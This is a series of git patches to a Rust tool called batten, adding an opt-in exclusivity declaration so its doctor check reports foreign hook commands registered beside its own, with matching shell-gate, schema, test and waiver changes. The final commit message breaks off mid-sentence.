"std::ops::Not::not")] + pub exclusive: bool, } /// One declared side effect. diff --git a/crates/batten/src/doctor.rs b/crates/batten/src/doctor.rs index 7913aa965..57e3644ee 100644 --- a/crates/batten/src/doctor.rs +++ b/crates/batten/src/doctor.rs @@ -395,6 +395,29 @@ const FILE_MISSING: &str = "hook-wiring-file-missing"; /// exactly why it needs its own id rather than folding into /// `event-registered-n-times`. const MERGED_REGISTRATION: &str = "hook-wiring-merged-registration"; +/// A command that is not batten's is registered on a surface the consumer +/// declared exclusively batten's (CLOUD-893). +/// +/// **Fires only under `[hook] exclusive`, and the gating is the point.** The +/// engine cannot decide whether a hook beside batten's is legitimate — that is a +/// consumer's judgement, and minting the verdict here would put it in +/// `crates/batten` for every adopter. Under a declaration it is no longer a +/// judgement but an invariant somebody wrote down, and enforcing it is what the +/// engine is for. +/// +/// Pointer-only, exactly as its neighbours are: the harness and the event, never +/// the command. A sibling's command line carries a path (rule 4), and the count +/// in [`HarnessWiring::siblings`] is still the only quantity reported. Which +/// command it was is answerable from the file the finding names the event in; +/// the diagnosis does not have to carry it to be actionable. +const SIBLING_REGISTERED: &str = "hook-wiring-sibling-registered"; +/// The same, on a surface the host MERGES rather than the committed one. +/// +/// Its own id because the remedy differs and the committed one's does not reach +/// it: a merged surface is under `$HOME`, so editing the repository cannot +/// remove the registration — the same reason [`MERGED_REGISTRATION`] is separate +/// from [`EVENT_REGISTERED_N_TIMES`]. +const MERGED_SIBLING: &str = "hook-wiring-merged-sibling"; /// The wiring file is there and is not readable as the JSON object it must be. /// /// Distinct from missing on purpose: two different remedies — write one, or fix @@ -467,7 +490,7 @@ fn entries_under(value: &serde_json::Value) -> Vec<(Option<&str>, &str)> { clippy::too_many_lines, reason = "one harness's diagnosis reads as one sequence: locate the file, judge batten's entries per derived event, then the rest of the surface. Splitting it would thread `findings`, `registrations` and `siblings` through helpers that exist only to satisfy a line count, and each of the three phases is already commented as its own step." )] -fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option { +fn diagnose_harness(dir: &Path, harness: hook::Harness, exclusive: bool) -> Option { let wiring = harness.wiring()?; let path = match wiring.file { hook::WiringFile::Key { path, .. } | hook::WiringFile::Whole(path) => path, @@ -575,6 +598,16 @@ fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option for (_, entry) in entries_under(value) { if !entry.contains("batten") { siblings += 1; + // COUNTED ALWAYS, REFUSED ONLY UNDER THE DECLARATION. The count + // is the engine's to report and the verdict is the consumer's to + // declare; `HookConfig::exclusive` is where that declaration + // lives and why this is an invariant rather than a judgement. + if exclusive { + findings.push(WiringFinding { + event: event.clone(), + reason: SIBLING_REGISTERED, + }); + } } else if !spellings.contains(&event.as_str()) { registrations += 1; findings.push(WiringFinding { @@ -592,7 +625,7 @@ fn diagnose_harness(dir: &Path, harness: hook::Harness) -> Option // Absent is the ordinary case and never a finding: most machines carry no // launcher file, and a check that went red for its absence would be red on // every developer's box for a state nobody can fix. - let merged = diagnose_merged(dir, harness, &command); + let merged = diagnose_merged(dir, harness, &command, exclusive); findings.extend(merged.findings); Some(HarnessWiring { @@ -740,7 +773,12 @@ impl MergedTally { /// this repository answers it in `hooks-wiring-check` rather than in the engine /// (non-negotiable rule 1) — but it cannot answer it at all from a number that /// fuses siblings with batten's own entries. -fn diagnose_merged(dir: &Path, harness: hook::Harness, command: &str) -> MergedTally { +fn diagnose_merged( + dir: &Path, + harness: hook::Harness, + command: &str, + exclusive: bool, +) -> MergedTally { use etcetera::BaseStrategy as _; let declared = harness.merge_surfaces().len(); @@ -756,7 +794,7 @@ fn diagnose_merged(dir: &Path, harness: hook::Harness, command: &str) -> MergedT ..MergedTally::default() }; }; - merged_under(strategy.home_dir(), dir, harness, command) + merged_under(strategy.home_dir(), dir, harness, command, exclusive) } /// The counting half of [`diagnose_merged`], with the home directory passed in. @@ -765,7 +803,13 @@ fn diagnose_merged(dir: &Path, harness: hook::Harness, command: &str) -> MergedT /// cannot be handed, and a counter whose off-by-one nobody can reach from a test /// is a counter nobody is holding. `a_surface_is_counted_read_only_once_its_shape_is_a_wiring_file` /// drives this seam. -fn merged_under(home: &Path, dir: &Path, harness: hook::Harness, command: &str) -> MergedTally { +fn merged_under( + home: &Path, + dir: &Path, + harness: hook::Harness, + command: &str, + exclusive: bool, +) -> MergedTally { let surfaces = harness.merge_surfaces(); let mut tally = MergedTally::default(); for surface in surfaces { @@ -836,6 +880,12 @@ fn merged_under(home: &Path, dir: &Path, harness: hook::Harness, command: &str) // disagreed with the committed one about what a sibling IS // could not be summed with it. tally.siblings += 1; + if exclusive { + tally.findings.push(WiringFinding { + event: event.clone(), + reason: MERGED_SIBLING, + }); + } } } } @@ -851,11 +901,24 @@ fn merged_under(home: &Path, dir: &Path, harness: hook::Harness, command: &str) /// `exit-code` declares no wiring surface and [`hook::Harness::wiring`] returns /// `None` for it, which is what excludes it: the neutral contract is an envelope /// in and a decision as an exit status out, with no file to register in. +/// +/// **The exclusivity declaration is read here and FAILS OPEN.** A config that +/// does not load, or loads and declares nothing, leaves `exclusive` false — so a +/// checkout whose `batten.toml` is missing or broken gets the pre-CLOUD-893 +/// behaviour rather than a refusal it cannot act on. Reading "could not look" as +/// "the consumer declared exclusivity" would mint the verdict this flag exists +/// to keep out of the engine, and it would do it exactly where the evidence is +/// weakest. The `config` check in bare [`diagnose`] is what reports an +/// unloadable config; this verb does not re-report it. #[must_use] pub fn diagnose_hooks(dir: &Path) -> WiringReport { + let exclusive = resolve::resolve(dir, &crate::Overrides::default()) + .ok() + .and_then(|resolved| resolved.hook.as_ref().map(|hook| hook.exclusive)) + .unwrap_or(false); let harnesses: Vec = hook::Harness::ALL .iter() - .filter_map(|harness| diagnose_harness(dir, *harness)) + .filter_map(|harness| diagnose_harness(dir, *harness, exclusive)) .collect(); WiringReport { version: config::VERSION, @@ -1224,7 +1287,13 @@ mod tests { let declared = hook::Harness::ClaudeCode.merge_surfaces().len(); fs::write(&surface, wrong_shape.to_string()).unwrap(); - let tally = merged_under(&home, &project, hook::Harness::ClaudeCode, "batten hook"); + let tally = merged_under( + &home, + &project, + hook::Harness::ClaudeCode, + "batten hook", + false, + ); assert_eq!( tally.read, 0, "a document that is not a wiring file was not read" @@ -1243,7 +1312,13 @@ mod tests { ); fs::write(&surface, empty.to_string()).unwrap(); - let tally = merged_under(&home, &project, hook::Harness::ClaudeCode, "batten hook"); + let tally = merged_under( + &home, + &project, + hook::Harness::ClaudeCode, + "batten hook", + false, + ); assert_eq!(tally.read, 1, "a valid surface declaring nothing WAS read"); assert_eq!(tally.commands, 0, "and it declares no registration"); assert_eq!(tally.siblings, 0); @@ -1272,7 +1347,7 @@ mod tests { // All absent: the ordinary developer's box. let home = scratch("merged-partition-absent"); let project = scratch("merged-partition-absent-project"); - let tally = merged_under(&home, &project, harness, "batten hook"); + let tally = merged_under(&home, &project, harness, "batten hook", false); assert_eq!(tally.absent, declared); assert_eq!(tally.read, 0); assert!(tally.partitions(declared), "{tally:?}"); @@ -1283,7 +1358,7 @@ mod tests { let surface = shared.join(harness.merge_surfaces()[0]); fs::create_dir_all(surface.parent().unwrap()).unwrap(); fs::write(&surface, serde_json::json!({ "hooks": {} }).to_string()).unwrap(); - let tally = merged_under(&shared, &shared, harness, "batten hook"); + let tally = merged_under(&shared, &shared, harness, "batten hook", false); assert_eq!( tally.deduplicated, 1, "the same file is not a second surface" @@ -1296,7 +1371,7 @@ mod tests { let surface = home.join(harness.merge_surfaces()[0]); fs::create_dir_all(surface.parent().unwrap()).unwrap(); fs::write(&surface, "{ not json").unwrap(); - let tally = merged_under(&home, &project, harness, "batten hook"); + let tally = merged_under(&home, &project, harness, "batten hook", false); assert_eq!(tally.unreadable, 1); assert!(tally.partitions(declared), "{tally:?}"); } @@ -1332,7 +1407,7 @@ mod tests { ) .unwrap(); - let tally = merged_under(&home, &project, harness, &command); + let tally = merged_under(&home, &project, harness, &command, false); assert_eq!(tally.commands, 2, "both commands are on the surface"); assert_eq!(tally.siblings, 1, "exactly one of them is not batten's"); assert_eq!( @@ -1349,6 +1424,123 @@ mod tests { ); } + /// A sibling is a finding UNDER THE DECLARATION and a count without it. + /// + /// Both directions, because the whole claim about `[hook] exclusive` is that + /// it is raise-only: the off-state must stay exactly what it was, or an + /// adopter inherits a verdict by upgrading, and the on-state must actually + /// refuse, or the declaration is prose. A test asserting only one of the two + /// cannot tell a working flag from a flag wired to nothing. + /// + /// Fails by: dropping either `if exclusive` guard, or hard-coding it true. + #[test] + fn a_sibling_refuses_only_where_the_consumer_declared_the_surface_exclusive() { + let harness = hook::Harness::ClaudeCode; + let mut wiring = complete_wiring(); + wiring["hooks"]["Stop"] = serde_json::json!([ + { "hooks": [{ "type": "command", "command": hook::wiring_command(harness) }] }, + { "hooks": [{ "type": "command", "command": "/home/someone/mise-tasks/stop-guard.sh" }] }, + ]); + let dir = write_surface( + "hooks-exclusive", + harness, + &serde_json::to_string_pretty(&wiring).unwrap(), + ); + + let permissive = + diagnose_harness(&dir, harness, false).expect("claude-code declares a wiring surface"); + assert!( + permissive.ok, + "undeclared: a sibling stays a count, not a failure — {:?}", + permissive.findings + ); + assert_eq!(permissive.siblings, 1); + + let declared = + diagnose_harness(&dir, harness, true).expect("claude-code declares a wiring surface"); + assert!(!declared.ok, "declared: a sibling is a finding"); + // CONTAINMENT, NOT EQUALITY, and the reason is worth stating rather than + // working around: `diagnose_harness` reads the MACHINE's `$HOME` for the + // merged surfaces, so on a box whose launcher provisions hooks this list + // also carries `MERGED_SIBLING` — which is the engine working, not noise. + // Asserting equality here would make the case pass or fail on whose + // container it ran in. The merged half has its own case, driven through + // `merged_under`'s injected home, which is the seam that IS deterministic. + let committed: Vec<&str> = declared + .findings + .iter() + .filter(|finding| finding.reason == SIBLING_REGISTERED) + .map(|finding| finding.event.as_str()) + .collect(); + assert_eq!( + committed, + vec!["Stop"], + "exactly one committed sibling, on the event it was written to: {:?}", + declared.findings + ); + // The count does not move with the verdict: the number is the engine's + // and the refusal is the consumer's, and they are separately readable. + assert_eq!(declared.siblings, permissive.siblings); + // Rule 4 survives the new finding — still no command, still no path. + let rendered = serde_json::to_string(&declared).unwrap(); + assert!( + !rendered.contains("stop-guard") && !rendered.contains("/home/someone"), + "the finding names the event, never the command: {rendered}" + ); + } + + /// The same, on a merged surface, through the seam the suite can drive. + /// + /// Its own case because the remedy differs — a merged registration is under + /// `$HOME` and editing the repository cannot remove it — so it carries its + /// own reason id and that id has to be reachable. + /// + /// Fails by: dropping the `if exclusive` guard in `merged_under`. + #[test] + fn a_merged_sibling_refuses_only_under_the_declaration_too() { + let harness = hook::Harness::ClaudeCode; + let home = scratch("merged-exclusive-home"); + let project = scratch("merged-exclusive-project"); + let surface = home.join(harness.merge_surfaces()[0]); + fs::create_dir_all(surface.parent().unwrap()).unwrap(); + fs::write( + &surface, + serde_json::json!({ + "hooks": { + "Stop": [{ "hooks": [{ "type": "command", + "command": "~/.claude/stop-hook-git-check.sh" }] }] + } + }) + .to_string(), + ) + .unwrap(); + let command = hook::wiring_command(harness); + + let permissive = merged_under(&home, &project, harness, &command, false); + assert_eq!(permissive.siblings, 1); + assert!( + permissive.findings.is_empty(), + "undeclared: counted, never refused — {:?}", + permissive.findings + ); + + let declared = merged_under(&home, &project, harness, &command, true); + assert_eq!(declared.siblings, 1); + assert_eq!( + declared + .findings + .iter() + .map(|finding| finding.reason) + .collect::>(), + vec![MERGED_SIBLING], + ); + let rendered = format!("{declared:?}"); + assert!( + !rendered.contains("stop-hook-git-check"), + "a merged finding names the event and never the command: {rendered}" + ); + } + /// The three spellings `entry.contains(&command)` reported clean. /// /// Each one reaches the engine by substring and does something a mediating diff --git a/crates/batten/tests/cli.rs b/crates/batten/tests/cli.rs index 03e13f092..38716debc 100644 --- a/crates/batten/tests/cli.rs +++ b/crates/batten/tests/cli.rs @@ -2783,6 +2783,18 @@ fn the_census_check_refuses_a_case_naming_no_row() { /// branch-name precedence otherwise moves one issue and strands the rest. So the /// committed shape of a multi-key bundle reddened this case, on a branch that /// was correct (CLOUD-661). The fix is to assert what the case means. +/// +/// AND THE SAME OMISSION RECURRED, which is why the list is the fragile part +/// rather than the wording. `ready-needs-an-answered-review` landed as a third +/// precondition row and was not added here, so this case stayed green only while +/// one of the older two ALSO refused. It goes red the moment a branch satisfies +/// both — a `verify` receipt present and a key on the commits — which is the +/// state every branch reaches just before it readies, and precisely the state +/// this case is about. CI never saw it: a fresh checkout has no verify receipt, +/// so `ready-needs-receipts` fires first and masks the gap. Measured 2026-08-26. +/// A fourth precondition row will do this again; the durable form is to select +/// the rows by KIND rather than to name them, which needs a surface this test +/// does not have today. #[test] fn the_committed_policy_gates_ready_on_receipts_rather_than_banning_it() { let root = PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("../.."); diff --git a/mise-tasks/hooks-wiring-check.sh b/mise-tasks/hooks-wiring-check.sh index 1c047f1f9..826a08128 100755 --- a/mise-tasks/hooks-wiring-check.sh +++ b/mise-tasks/hooks-wiring-check.sh @@ -258,10 +258,19 @@ while read -r harness event reason; do continue fi fi - # A MERGED finding is not about the committed file, so it must not be - # reported against its path (CLOUD-525 §5). It names the harness, the word - # `merged` and the event — stable strings, and no path on either side. + # THE ENGINE'S SIBLING FINDINGS ARE NOT RELAYED, because this file reports + # the same fact better (CLOUD-893). Under `[hook] exclusive` the engine emits + # `hook-wiring-sibling-registered` and `hook-wiring-merged-sibling`, and it + # must stay pointer-only: a sibling's command line carries a path, and rule 4 + # forbids the ENGINE from emitting one. A consumer's own gate is under no such + # constraint over its own repository, so the loop below names the command and + # the issue that retires it — strictly more than the relay could say. + # + # Measured before this arm existed: 20 violations for 10 registrations, each + # reported once bare and once with its command. A doubled count is not a + # louder gate, it is a gate whose arithmetic a reader has to correct. case "$reason" in + hook-wiring-sibling-registered | hook-wiring-merged-sibling) continue ;; hook-wiring-merged-*) report "$harness:merged:$event" "${reason#hook-}" ;; *) report "$wiring:$event" "${reason#hook-}" ;; esac @@ -394,17 +403,38 @@ while read -r harness wiring launcher; do siblings="${siblings:+$siblings$'\n'}$merged_siblings" done <<<"$MERGED" + # A DECLARED ROW ANNOTATES THE FAILURE AND NO LONGER SUPPRESSES IT (CLOUD-893). + # + # This loop used to skip `wiring-sibling-command` for any command a `DECLARED` + # row matched. The table was written as diligence — every sibling named beside + # the issue that would retire it — and functioned as a permanent exemption: + # measured 2026-08-25, ten registrations, ten rows, this gate exit 0 and + # `batten doctor hooks` `ok: true` over the exact state the one-registration + # decision refuses. + # + # The direction is what makes it inadmissible rather than merely lenient. A + # declaration that ADDS a refusal is raise-only (house-style §8) and cannot + # weaken policy; one that REMOVES a refusal reads identically in the file and + # does the opposite. `[hook] exclusive` in `batten.toml` is the first kind and + # is where the decision now lives; this table keeps only the half that was + # always honest, which is WHO retires each entry. + # + # So the ownership rules below are not vestigial — they are the whole point of + # keeping the table. `-unowned` refuses a row naming nobody, `-stale` refuses + # one naming a command nothing registers, and `-closed-owner` refuses one whose + # issue is already closed. Each says something about the retirement; none of + # them says the registration is allowed. while IFS=$'\t' read -r where event command; do [[ -n "$command" ]] || continue # Substring rather than equality: the committed commands carry the host's # `$CLAUDE_PROJECT_DIR` prefix unexpanded, and a declaration should name # the task rather than restate a path the host owns. - declared=0 + owner="" while read -r pattern key; do [[ -n "$pattern" ]] || continue case "$command" in *"$pattern"*) - declared=1 + owner="$key" # A declaration with no owner is worse than none: it reads as a # decision someone made and records nobody to ask. case "$key" in @@ -414,8 +444,9 @@ while read -r harness wiring launcher; do ;; esac done <<<"$DECLARED" - [[ "$declared" == 1 ]] || - report "$where:$event:$command" "wiring-sibling-command" + # Reported either way. The owner rides along when one is declared, so the + # pointer still answers "who retires this" without answering "may it stay". + report "$where:$event:$command${owner:+ (retires with $owner)}" "wiring-sibling-command" done <<<"$siblings" # The other direction: a declared row that matches nothing wired IN THIS FILE. @@ -454,8 +485,8 @@ while read -r harness wiring launcher; do done <<<"$HARNESSES" if [[ "$violations" -ne 0 ]]; then - echo "::error:: hooks-wiring-check: $violations wiring violation(s) above. For an entry that IS batten's, the derivation is the authority: edit the wiring, or the rows in crates/batten/src/hook.rs if the derivation is what is wrong — \`batten doctor hooks\` is the same read without this file's consumer-side table. For a \`wiring-sibling-command\`, the engine registers ONE command per event and adjudicates from batten.toml — retire the guard behind it (CLOUD-312), or add a declared row here naming the issue that will." >&2 + echo "::error:: hooks-wiring-check: $violations wiring violation(s) above. For an entry that IS batten's, the derivation is the authority: edit the wiring, or the rows in crates/batten/src/hook.rs if the derivation is what is wrong — \`batten doctor hooks\` is the same read without this file's consumer-side table. For a \`wiring-sibling-command\`, \`batten hook\` is the only command this repository registers natively: move the program BEHIND the engine — a \`[[hook.handler]]\` row in batten.toml if it must keep running, a policy row if its decision can be expressed as one — and delete the registration. A DECLARED row records who retires it and no longer excuses it; adding one changes the pointer and not the verdict." >&2 exit 1 fi -echo "hooks-wiring-check: $registrations \`batten hook\` registration(s) across $(grep -c . <<<"$diagnosed") harness(es) agree with the derivation — one per emitted event, no matcher — and every other command names the issue retiring it" +echo "hooks-wiring-check: $registrations \`batten hook\` registration(s) across $(grep -c . <<<"$diagnosed") harness(es) agree with the derivation — one per emitted event, no matcher — and nothing else is registered natively" diff --git a/schema/batten.schema.json b/schema/batten.schema.json index 13d925789..2c4dd82a8 100644 --- a/schema/batten.schema.json +++ b/schema/batten.schema.json @@ -1305,6 +1305,10 @@ "$ref": "#/$defs/Action" } }, + "exclusive": { + "description": "Whether this repository declares its hook surfaces **exclusively**\nbatten's: one `batten hook` registration per emitted event, and no other\ncommand registered natively beside it (CLOUD-893).\n\n**A DECLARATION, and that is what makes it expressible at all.** Whether a\nhook beside batten's is legitimate is a consumer's judgement — the reason\n[`crate::doctor::HarnessWiring::siblings`] gives for being a count and\nnever a failure — so the engine may not decide it. What the engine CAN do\nis enforce what a consumer decided, and this is where that decision is\nwritten down. Naming the invariant in `crates/batten` while leaving the\nchoice to the config is what keeps non-negotiable rule 1 intact.\n\n**Raise-only (house-style §8), which is the whole difference between this\nand a waiver.** Absent or `false` is today's behaviour, so no adopter\ninherits a verdict by upgrading; `true` can only ever ADD refusals. That\nis categorically unlike a declaration that suppresses one — a sibling\ntable naming an issue that will retire each entry reads as diligence and\nfunctions as a permanent exemption, and it is what let this repository\nreport green over ten non-batten registrations.\n\nIt says nothing about handlers: a `[[hook.handler]]` runs BEHIND `batten\nhook` rather than beside it, so it is not a native registration and this\nflag never refuses one.", + "type": "boolean" + }, "handler": { "description": "The declared handlers, in declaration order (CLOUD-898).\n\nOrder is the running order, and it decides which of two refusals is\nreported — so a reader predicts it from the file rather than from a rule,\nexactly as `action`'s firing order is.\n\nA SECOND NOUN IN THE SAME TABLE, not a widening of the first. An action\nis a side effect that cannot change the answer; a handler participates in\nthe decision. They share `[hook]` because they answer the same question —\nwhat does this repository attach to hook events — and stay separate\nbecause they make opposite promises about the answer.", "type": "array", diff --git a/tests/hooks-wiring-check.bats b/tests/hooks-wiring-check.bats index d74da2613..32917b60e 100644 --- a/tests/hooks-wiring-check.bats +++ b/tests/hooks-wiring-check.bats @@ -473,11 +473,21 @@ with_sibling() { # [[ "$output" == *"issue-read-guard"* ]] } -@test "a declared sibling passes, and the declaration names who retires it" { +@test "a declared sibling still FAILS, and the declaration names who retires it" { + # THE FLIP (CLOUD-893). This case asserted status 0 for its whole life, and it + # is the executable statement of the policy being reversed: a `DECLARED` row + # suppressed the refusal, so ten rows bought a green over ten registrations the + # one-registration decision refuses. + # + # What survives is the ownership column. The row still says who retires the + # command — that half was always honest — and it now rides along in the pointer + # instead of standing in for a verdict. DECLARED="mise-tasks/issue-read-guard.sh CLOUD-312" with_sibling PreToolUse '$CLAUDE_PROJECT_DIR/mise-tasks/issue-read-guard.sh' run gate - [ "$status" -eq 0 ] + [ "$status" -eq 1 ] + [[ "$output" == *"wiring-sibling-command"* ]] + [[ "$output" == *"retires with CLOUD-312"* ]] } @test "a declaration naming no issue is itself a violation, so the hatch is never silent" { @@ -527,17 +537,30 @@ with_sibling() { # [[ "$output" != *"$FIXTURE_HOME"* ]] } -@test "CLOUD-525 (b): the same registration declared with an owner passes" { - # A census, not a demand. The launcher's registrations are re-provisioned - # mid-session and cannot be deleted from here, so they are RECORDED with an - # owner — an added one becomes visible instead of silent, and no run goes red - # on state this repo cannot fix. +@test "CLOUD-525 (b): the same registration declared with an owner still FAILS" { + # REVERSED (CLOUD-893). This case read: "A census, not a demand. The launcher's + # registrations are re-provisioned mid-session and cannot be deleted from here, + # so they are RECORDED with an owner … and no run goes red on state this repo + # cannot fix." + # + # The premise was measured and true; the conclusion is now refused. "Installed + # by a launcher" and "outside this repository" determine who REMEDIATES a + # registration, never whether the registration policy passes — and the launcher + # files are ours to fix, through the environment that generates them. A census + # that cannot demand anything is what let two exit-2 denies sit on the Stop + # boundary, declared, for as long as anyone cared to leave them. MERGED="claude-code .claude/launcher-settings.json" DECLARED="stop-hook-git-check.sh CLOUD-605" complete_wiring with_merged Stop '~/.claude/stop-hook-git-check.sh' run gate - [ "$status" -eq 0 ] + [ "$status" -eq 1 ] + [[ "$output" == *"wiring-sibling-command"* ]] + [[ "$output" == *"retires with CLOUD-605"* ]] + # Still named by surface class and basename, never by path (§5) — the flip + # changes the verdict, not the pointer discipline. + [[ "$output" == *"claude-code:merged:Stop:stop-hook-git-check.sh"* ]] + [[ "$output" != *"$FIXTURE_HOME"* ]] } @test "CLOUD-525 (c): a declared row matching nothing on a surface that WAS read is stale" { @@ -555,12 +578,15 @@ some-other-hook.sh CLOUD-605" [ "$status" -eq 1 ] [[ "$output" == *"wiring-declaration-stale"* ]] [[ "$output" == *"stop-hook-git-check.sh"* ]] - # EXACTLY ONE violation, which is how this case proves it did not pass on - # case (a)'s `wiring-sibling-command` instead. Asserted through the COUNT - # rather than by matching the reason's absence in `$output`: the summary line - # names `wiring-sibling-command` in its own remedy text, so a substring test - # for it matches the guidance on every red run and never the finding. - [[ "$output" == *"1 wiring violation(s)"* ]] + # TWO violations, and the count is still the discriminator (CLOUD-893). It was + # one while a declared sibling passed; now the registration fails on its own + # account and the stale row fails beside it, so the pair is what proves the + # stale rule fired rather than the case passing on the sibling finding alone. + # Drop `wiring-declaration-stale` and this is 1, which is why the number is + # asserted rather than the reason's absence: the summary line names + # `wiring-sibling-command` in its own remedy text, so a substring test for it + # matches the guidance on every red run and never the finding. + [[ "$output" == *"2 wiring violation(s)"* ]] } @test "CLOUD-525 (c2): NO MERGED SURFACE READ IS COULD-NOT-LOOK, never a stale row" { @@ -609,28 +635,50 @@ some-other-hook.sh CLOUD-605" [[ "$output" == *"wiring-declaration-closed-owner"* ]] } -@test "CLOUD-525: an OPEN owner keeps the same declared row green" { +@test "CLOUD-525: an OPEN owner adds no closed-owner finding to the same declared row" { # The discriminator for (e): without this, a check that refused every declared # row would pass (e) and prove nothing. + # + # RESTATED OVER THE REASON SET, because status no longer discriminates + # (CLOUD-893). This asserted exit 0, and a declared sibling now fails on its + # own account whatever its owner's state — so both arms are red and the exit + # code says nothing about the rule under test. What still differs is exactly + # what (e) is about: a CLOSED owner adds `wiring-declaration-closed-owner` and + # an open one does not. Asserting the count too pins that the difference is one + # finding rather than a coincidence of two red runs. MERGED="claude-code .claude/launcher-settings.json" DECLARED="stop-hook-git-check.sh CLOUD-605" complete_wiring with_merged Stop '~/.claude/stop-hook-git-check.sh' board '{"id":"CLOUD-605","statusType":"unstarted"}' run gate_with_board - [ "$status" -eq 0 ] + [ "$status" -eq 1 ] + [[ "$output" != *"wiring-declaration-closed-owner"* ]] + [[ "$output" == *"1 wiring violation(s)"* ]] } @test "CLOUD-525: with no board piped in, the owner rule is unenforced rather than assumed" { # Could-not-look, and it must be neither a pass for the WRONG reason nor a # failure: the ordinary pre-commit run supplies no payload, and a gate that # demanded one would be red on every commit. + # + # RESTATED OVER THE REASON SET for the same reason as the case above: the + # declared sibling fails regardless, so exit 0 stopped being available to + # express "the owner rule did not run". Absence of the finding is the claim, + # and it always was — the old assertion could only ever have been a proxy for + # it, and the proxy is what broke. + # + # Note this is exactly the arm that let a CLOSED owner sit unnoticed on this + # repository's own two merged rows: CLOUD-605 completed 2026-08-23 while both + # rows still named it, and the ordinary `mise run` path pipes no board. MERGED="claude-code .claude/launcher-settings.json" DECLARED="stop-hook-git-check.sh CLOUD-605" complete_wiring with_merged Stop '~/.claude/stop-hook-git-check.sh' run gate - [ "$status" -eq 0 ] + [ "$status" -eq 1 ] + [[ "$output" != *"wiring-declaration-closed-owner"* ]] + [[ "$output" == *"1 wiring violation(s)"* ]] } @test "CLOUD-525: an ABSENT merged surface is the ordinary case, not a finding" { From a1691ba79da2739e3d91ed615a0a20483bc9a213 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Wed, 26 Aug 2026 02:27:07 +0000 Subject: [PATCH 03/27] chore(waiver): three renamed bats cases are not three deleted ones MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `bats-tests-not-deleted` matches on the case NAME, so a rename is indistinguishable from a deletion plus an unrelated addition. Flipping the two cases that encoded the pre-CLOUD-893 policy tripped it three times over `tests/hooks-wiring-check.bats`. Nothing was deleted, and the measurement says so: 36 `@test` on `origin/main`, 36 on this head. Diffing the name sets returns exactly three changes, each a rename whose verdict word inverted — `…passes` became `…still FAILS` twice, and `keeps the same declared row green` became `adds no closed-owner finding`. NEITHER ESCAPE ARM FITS, WHICH IS WHY THIS IS A WAIVER AND NOT A FIX. `retires_with = "# subject:"` declares the SUBJECT died, and hooks-wiring-check is alive — using it would put a false claim in committed config. The other arm `no_fix_reason` offers is "restore the tests", which would leave `a declared sibling passes` on a case that asserts exit 1: a test name that lies, which is the drift this repository is otherwise strict about. Narrow and brief rather than blanket, per CLOUD-807's own argument against the blanket waiver it replaced: one `path`, one file, one transition, and it self-clears once `main` carries the new names as the ratchet's baseline. The waiver is reported per line with its expiry on every run, so it stays auditable rather than silent. What this does NOT waive, deliberately: the limitation itself. A `@test` has no stable identifier beyond its name, so either renames need a waiver or the kind needs an explicit rename declaration beside `retires_with`. That is `crates/batten/src/rules.rs`, untouched here, and it is recorded on CLOUD-893 rather than absorbed into this commit. Refs: CLOUD-893, CLOUD-807 --- batten.toml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/batten.toml b/batten.toml index faa9e5b1c..3c5a25bf2 100644 --- a/batten.toml +++ b/batten.toml @@ -3506,6 +3506,12 @@ rule = "tests-not-deleted" reason = "CLOUD-780 retires four `git.rs` primitives, the pileup predicate and the `worktree reclaim` verb, and every deleted case named a deleted symbol (1850 -> 1834): `git.rs`'s worktree-listing and snapshot cases, `worktree.rs`'s pileup and reclaim cases, and `tests/cli.rs`'s whole pileup block. Deleting them with their subject is the Ready block's own §7 obligation — weakening them instead would leave assertions about a surface that no longer exists. What must NOT fall is the coverage beside them, and it does not: `worktree status`'s four surviving categories keep every case green with no assertion change, which is what proves the drop was surgical." expires = "2026-09-13" +[[waiver]] +rule = "bats-tests-not-deleted" +path = "tests/hooks-wiring-check.bats" +reason = "CLOUD-893 renamed three cases whose meaning INVERTED; nothing was deleted — measured 36 `@test` before and 36 after, and the three names differ only in their verdict word. The ratchet matches on the case NAME, so a rename that stops the name lying is indistinguishable to it from a deletion, and neither of its arms fits: the subject did not die, so `retires_with` would be a false claim, and restoring the names would leave `a declared sibling passes` on a case asserting exit 1. Waived narrowly and briefly rather than blanket (CLOUD-807): the reduction is one file, one transition, and it stops firing once `main` carries the new names as its baseline." +expires = "2026-09-26" + [ci] required_checks = ["final"] From 7b49705186675b3a65b52ae3d02b77f018f10575 Mon Sep 17 00:00:00 2001 From: Alec Wenzowski Date: Wed, 26 Aug 2026 02:40:47 +0000 Subject: [PATCH 04/27] feat(handler): a dispatched program is a debt, and now it names its creditor MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `[[hook.handler]]` gains `owner` and `expires`, and `batten doctor` gains a `hook-handlers` check that reads them. A handler is an antipattern with a ratchet, never a destination: the door makes a dispatched program safe — a bound, central fail-open, one stated output shape — and none of that makes it POLICY. A predicate living behind a spawn is one a reader of the committed authority cannot discover, so every handler is somebody's debt, and these two columns are where the creditor and the date are written down. WHY THIS IS NOT REFUSED AT LOAD, WHICH IS THE LOAD-BEARING DECISION. `config::validate` runs on EVERY load, including the mediated path. A row refused there fails config load — exit 1 — which every harness reads as could-not-look and allows. A missing `owner` would therefore disable the engine for every call in the repository until somebody noticed: the failure mode of that strictness is no policy at all. So `transitional_defect` is deliberately NOT called from `validate`, and `a_handler_with_no_transitional_columns_still_loads` pins that separation. Enforcement lives in `doctor`, where a red costs a diagnosis rather than the mediation. Five defects, five reason ids, because each sends the reader somewhere else: `handler-unowned`, `handler-owner-unkeyed` (a word like `soon` names nobody), `handler-undated`, `handler-date-malformed`, `handler-overdue`. The owner's shape is `-` and the tracker's prefix is deliberately not named here — a project key in `crates/batten` is non-negotiable rule 1's violation, and the property worth asserting is that somebody wrote a key rather than a word. `waiver::Date` IS REUSED RATHER THAN A SECOND NOTION OF A DATE. It already answers "what is a date in committed config", it validates the calendar (`2026-02-31` is refused, where the lexicographic compare this first carried would have sorted it happily and read as live until 2027), and its `Ord` is chronological. `an_impossible_date_is_malformed_rather_than_merely_late` is the case that would have caught the version I wrote first. The check also carries a program-resolution probe, against a measured defect rather than a hypothesis: this repository's only handler row named `mise-tasks/mcp-attach-check` — one suffix off a real file — for its whole life. `spawn_resolving`'s ladder never appends an extension, the spawn returned `NotFound`, and `Outcome::Broke` allowed exactly as the door promises. The guard read as wired and ran zero times, invisible to both directions of the wiring gate because it is neither a native registration 